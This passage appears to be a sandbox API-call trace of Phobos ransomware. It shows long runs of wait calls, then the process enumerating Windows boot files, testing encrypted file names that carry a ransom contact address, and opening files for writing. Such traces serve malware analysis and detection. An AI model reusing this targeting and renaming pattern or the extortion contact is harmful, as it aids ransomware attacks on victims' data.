(hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.183] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.184] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.185] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.186] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.187] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.188] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.189] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.190] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.191] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.192] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.193] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.195] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.196] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.196] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.196] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.196] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.196] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.196] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.196] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.196] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.350] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.350] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.350] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.350] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.351] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=0) returned 1 [0162.351] CloseHandle (hObject=0x290) returned 1 [0162.351] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.351] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.351] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=0) returned 1 [0162.352] CloseHandle (hObject=0x290) returned 1 [0162.352] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.352] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.352] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=77664) returned 1 [0162.352] CloseHandle (hObject=0x290) returned 1 [0162.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0162.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.352] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.352] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.352] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.353] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=95648) returned 1 [0162.353] CloseHandle (hObject=0x290) returned 1 [0162.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0162.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.354] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.354] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.354] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.354] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=99744) returned 1 [0162.354] CloseHandle (hObject=0x290) returned 1 [0162.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0162.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.355] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.355] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.355] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.355] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=76632) returned 1 [0162.355] CloseHandle (hObject=0x290) returned 1 [0162.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0162.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.355] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.355] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.355] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.356] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=45472) returned 1 [0162.356] CloseHandle (hObject=0x290) returned 1 [0162.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0162.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.356] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.356] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.356] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.356] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=75616) returned 1 [0162.356] CloseHandle (hObject=0x290) returned 1 [0162.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0162.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.357] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.357] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.357] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.357] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=45472) returned 1 [0162.357] CloseHandle (hObject=0x290) returned 1 [0162.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0162.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.365] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.365] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.365] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.366] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=79200) returned 1 [0162.366] CloseHandle (hObject=0x290) returned 1 [0162.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0162.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.366] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.366] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.366] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.367] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=45984) returned 1 [0162.367] CloseHandle (hObject=0x290) returned 1 [0162.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0162.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.367] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 